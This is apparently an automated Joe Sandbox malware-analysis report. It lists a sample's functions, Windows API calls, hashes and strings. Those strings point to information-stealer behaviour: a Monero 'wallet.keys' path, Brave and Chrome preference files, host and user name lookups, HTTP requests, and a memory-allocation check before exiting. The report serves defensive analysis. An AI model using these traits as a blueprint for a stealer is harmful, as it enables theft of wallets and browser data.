Opcode ID: bbf36d8bff453a2f91040dc1741a91bc0b46df68abb75153e671e100c3e85662
Instruction ID: e63994291cbe937ad78a9cde828228de7137ad8415b9571f68e01a47faf2b034
Opcode Fuzzy Hash: bbf36d8bff453a2f91040dc1741a91bc0b46df68abb75153e671e100c3e85662
Instruction Fuzzy Hash: 08213EB1D00209ABDF14DFA5EC46ADE7B75FB44320F108625F915A7291EB706A0ACB91

Function 00D451F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D4A7E6

Part of subcall function 00D36280: InternetOpenA.WININET(00D50DFE,00000001,00000000,00000000,00000000), ref: 00D362E1
Part of subcall function 00D36280: StrCmpCA.SHLWAPI(?,008DE4E0), ref: 00D36303
Part of subcall function 00D36280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D36335
Part of subcall function 00D36280: HttpOpenRequestA.WININET(00000000,GET,?,008DDA88,00000000,00000000,00400100,00000000), ref: 00D36385
Part of subcall function 00D36280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00D363BF
Part of subcall function 00D36280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00D363D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00D45228

Strings

ERROR, xrefs: 00D45273
ERROR, xrefs: 00D4521A

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 4ed2a64b527215fe951fb0ea8ace52bd1155d7af6c8b4153cca183d053516b5f
Instruction ID: 764bd7c76c9df298beea16992475230983d77ab0f1c116ae9595639995102b61
Opcode Fuzzy Hash: 4ed2a64b527215fe951fb0ea8ace52bd1155d7af6c8b4153cca183d053516b5f
Instruction Fuzzy Hash: E8110030954148ABEB14FF68DD92AED7338EF50300F404558F81A5B592EF70AB09CAB2

Function 00D31110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00D3112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00D31132
ExitProcess.KERNEL32 ref: 00D31143

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 45fb9219c70d708db7fdaf5425d81b259e220b1b537079d77d7d1f9d28afaa4a
Instruction ID: 78bf702b8287c4b18e53dd94d146ac6fd80ad8351d97ec3d6e98eef1e5a61048
Opcode Fuzzy Hash: 45fb9219c70d708db7fdaf5425d81b259e220b1b537079d77d7d1f9d28afaa4a
Instruction Fuzzy Hash: 65E0E67494530CFBE7546BA09D0AB4D7678EB44B02F104054F70D761D0D6B52645A6AB

Function 00D310A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00D310B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00D310F7

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 0edfb0e64b2bfbd0748eab4fe0104a03094f03faa1315114db1772bedba6d00e
Instruction ID: 11e0e3d7fbcea94212452629efdedc49435f015b9b9677f19bfb505cff357a93
Opcode Fuzzy Hash: 0edfb0e64b2bfbd0748eab4fe0104a03094f03faa1315114db1772bedba6d00e
Instruction Fuzzy Hash: 74F0E2B1641208BBEB189AA4AC49FAEB7E8E705B15F301448F504E7280D5719E40DAA1

Function 00D31190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00D478E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D47910
Part of subcall function 00D478E0: RtlAllocateHeap.NTDLL(00000000), ref: 00D47917
Part of subcall function 00D478E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00D4792F

Part of subcall function 00D47850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00D311B7), ref: 00D47880
Part of subcall function 00D47850: RtlAllocateHeap.NTDLL(00000000), ref: 00D47887
Part of subcall function 00D47850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00D4789F

ExitProcess.KERNEL32 ref: 00D311C6

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: f9cfb9cc883a2fc805e631d7a803479b5c73e70220cff5efe4a5bacddcdb0443
Instruction ID: e3e843ae15def6141d413976fb969309e0f37740074ae3ff6a8edbdf569a14ff
Opcode Fuzzy Hash: f9cfb9cc883a2fc805e631d7a803479b5c73e70220cff5efe4a5bacddcdb0443
Instruction Fuzzy Hash: 48E012B591430653CB0477B0BC0BB2E329C9B54786F080824FA09D2102FA65E8419677

Non-executed Functions

Function 00D438B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00D438CC
FindFirstFileA.KERNEL32(?,?), ref: 00D438E3
lstrcat.KERNEL32(?,?), ref: 00D43935
StrCmpCA.SHLWAPI(?,00D50F70), ref: 00D43947
StrCmpCA.SHLWAPI(?,00D50F74), ref: 00D4395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00D43C67
FindClose.KERNEL32(000000FF), ref: 00D43C7C

Strings

%s%s, xrefs: 00D43AAD
%s\%s\%s, xrefs: 00D43A4A
%s\*, xrefs: 00D438C0
%s\%s, xrefs: 00D43A6F
%s\%s, xrefs: 00D4397A

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 52221bc0ae4166d611ca7497add02f11823234ade792df3ce45d73e891d0ae19
Instruction ID: b81db80f167c0bea1ab0dd2317f57e6ad2de6fc1ea852b9853646a60d129e95e
Opcode Fuzzy Hash: 52221bc0ae4166d611ca7497add02f11823234ade792df3ce45d73e891d0ae19
Instruction Fuzzy Hash: E6A110B1940218ABDB24EBA4DC85FEE7778FF88301F084588A54D96141EB759B89CF72

Function 00D3BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

Part of subcall function 00D4A920: lstrcpy.KERNEL32(00000000,?), ref: 00D4A972
Part of subcall function 00D4A920: lstrcat.KERNEL32(00000000), ref: 00D4A982

Part of subcall function 00D4A9B0: lstrlen.KERNEL32(?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D4A9C5
Part of subcall function 00D4A9B0: lstrcpy.KERNEL32(00000000), ref: 00D4AA04
Part of subcall function 00D4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AA12

Part of subcall function 00D4A8A0: lstrcpy.KERNEL32(?,00D50E17), ref: 00D4A905

FindFirstFileA.KERNEL32(00000000,?,00D50B32,00D50B2B,00000000,?,?,?,00D513F4,00D50B2A), ref: 00D3BEF5
StrCmpCA.SHLWAPI(?,00D513F8), ref: 00D3BF4D
StrCmpCA.SHLWAPI(?,00D513FC), ref: 00D3BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00D3C7BF
FindClose.KERNEL32(000000FF), ref: 00D3C7D1

Strings

Preferences, xrefs: 00D3C11E
Google Chrome, xrefs: 00D3C634
Brave, xrefs: 00D3C102
\Brave\Preferences, xrefs: 00D3C1DB

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 85ff63eb34149a87cea95cb72e2bce879dd9d623412a37eec194c073754e9748
Instruction ID: 3c3fed2af970b7db027af52e9ecf5926c51ce0ea19e14420cf2d7dabdc253b56
Opcode Fuzzy Hash: 85ff63eb34149a87cea95cb72e2bce879dd9d623412a37eec194c073754e9748
Instruction Fuzzy Hash: 91425272950108ABEB14FB74DD96EED737DEF84300F404558B90AA6191EF34AB49CBB2

Function 00D44910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00D4492C
FindFirstFileA.KERNEL32(?,?), ref: 00D44943
StrCmpCA.SHLWAPI(?,00D50FDC), ref: 00D44971
StrCmpCA.SHLWAPI(?,00D50FE0), ref: 00D44987
FindNextFileA.KERNEL32(000000FF,?), ref: 00D44B7D
FindClose.KERNEL32(000000FF), ref: 00D44B92

Strings

%s\%s, xrefs: 00D449FB
%s\%s, xrefs: 00D449A4
%s\*, xrefs: 00D44920

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 04c202ebc4431351194aafa5340993701b5c738c8b7e1459ddb9f0ea00834fc2
Instruction ID: f41693a96c25863472d8cda70152a35a312fb903aabd21f80330b76a99c55f56
Opcode Fuzzy Hash: 04c202ebc4431351194aafa5340993701b5c738c8b7e1459ddb9f0ea00834fc2
Instruction Fuzzy Hash: 3B6113B2500219ABCB24EBA0DC45FEE777CFB88701F044588A54D96141EA75DB89DFB2

Function 00D44570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00D44580
RtlAllocateHeap.NTDLL(00000000), ref: 00D44587
wsprintfA.USER32 ref: 00D445A6
FindFirstFileA.KERNEL32(?,?), ref: 00D445BD
StrCmpCA.SHLWAPI(?,00D50FC4), ref: 00D445EB
StrCmpCA.SHLWAPI(?,00D50FC8), ref: 00D44601
FindNextFileA.KERNEL32(000000FF,?), ref: 00D4468B
FindClose.KERNEL32(000000FF), ref: 00D446A0
lstrcat.KERNEL32(?,008DE520), ref: 00D446C5
lstrcat.KERNEL32(?,008DD318), ref: 00D446D8
lstrlen.KERNEL32(?), ref: 00D446E5
lstrlen.KERNEL32(?), ref: 00D446F6

Strings

%s\*, xrefs: 00D4459A
%s\%s, xrefs: 00D4461B

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 496c1c12e90602aa7cc2ca506819edbd1637320e36795921eed91f831634050c
Instruction ID: 5d0c93162240e45786f785c40a0b0f445cef3b4ead4e96500cf346ad269c0dc4
Opcode Fuzzy Hash: 496c1c12e90602aa7cc2ca506819edbd1637320e36795921eed91f831634050c
Instruction Fuzzy Hash: 8B5121B654021CABCB24EB70DC89FED777CAB98701F404588B60D96190EB749AC59FB2

Function 00D43EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00D43EC3
FindFirstFileA.KERNEL32(?,?), ref: 00D43EDA
StrCmpCA.SHLWAPI(?,00D50FAC), ref: 00D43F08
StrCmpCA.SHLWAPI(?,00D50FB0), ref: 00D43F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00D4406C
FindClose.KERNEL32(000000FF), ref: 00D44081

Strings

%s\%s, xrefs: 00D43EB7

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 495fdbc1104f8b0c5525cf939cc006979bad715b3cf419c8da8e2cd9dcd15298
Instruction ID: 2b687ed4e12ca080d8043852e855e51006bda27a38e8105f3614e78126ffa0f1
Opcode Fuzzy Hash: 495fdbc1104f8b0c5525cf939cc006979bad715b3cf419c8da8e2cd9dcd15298
Instruction Fuzzy Hash: 865136B2900218ABCB24EBB4DC45EEE737CFB98300F444598B65D96140DB75DB899F72

Function 00D3ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00D3ED3E
FindFirstFileA.KERNEL32(?,?), ref: 00D3ED55
StrCmpCA.SHLWAPI(?,00D51538), ref: 00D3EDAB
StrCmpCA.SHLWAPI(?,00D5153C), ref: 00D3EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00D3F2AE
FindClose.KERNEL32(000000FF), ref: 00D3F2C3

Strings

%s\*.*, xrefs: 00D3ED32

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: bd219b53c6d2f73af22e2400b2e8c6bc06ac30b17d145bd77658a742e9b304b5
Instruction ID: f3e1a19a09c6271c50a2559fd4154a2a590b6aa7f23adb607653ab60b373f78c
Opcode Fuzzy Hash: bd219b53c6d2f73af22e2400b2e8c6bc06ac30b17d145bd77658a742e9b304b5
Instruction Fuzzy Hash: 10E1AF72951128ABFB55FB64DC52EEE7338EF54300F414599B50A62092EE306F8ACF72

Function 00D3F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

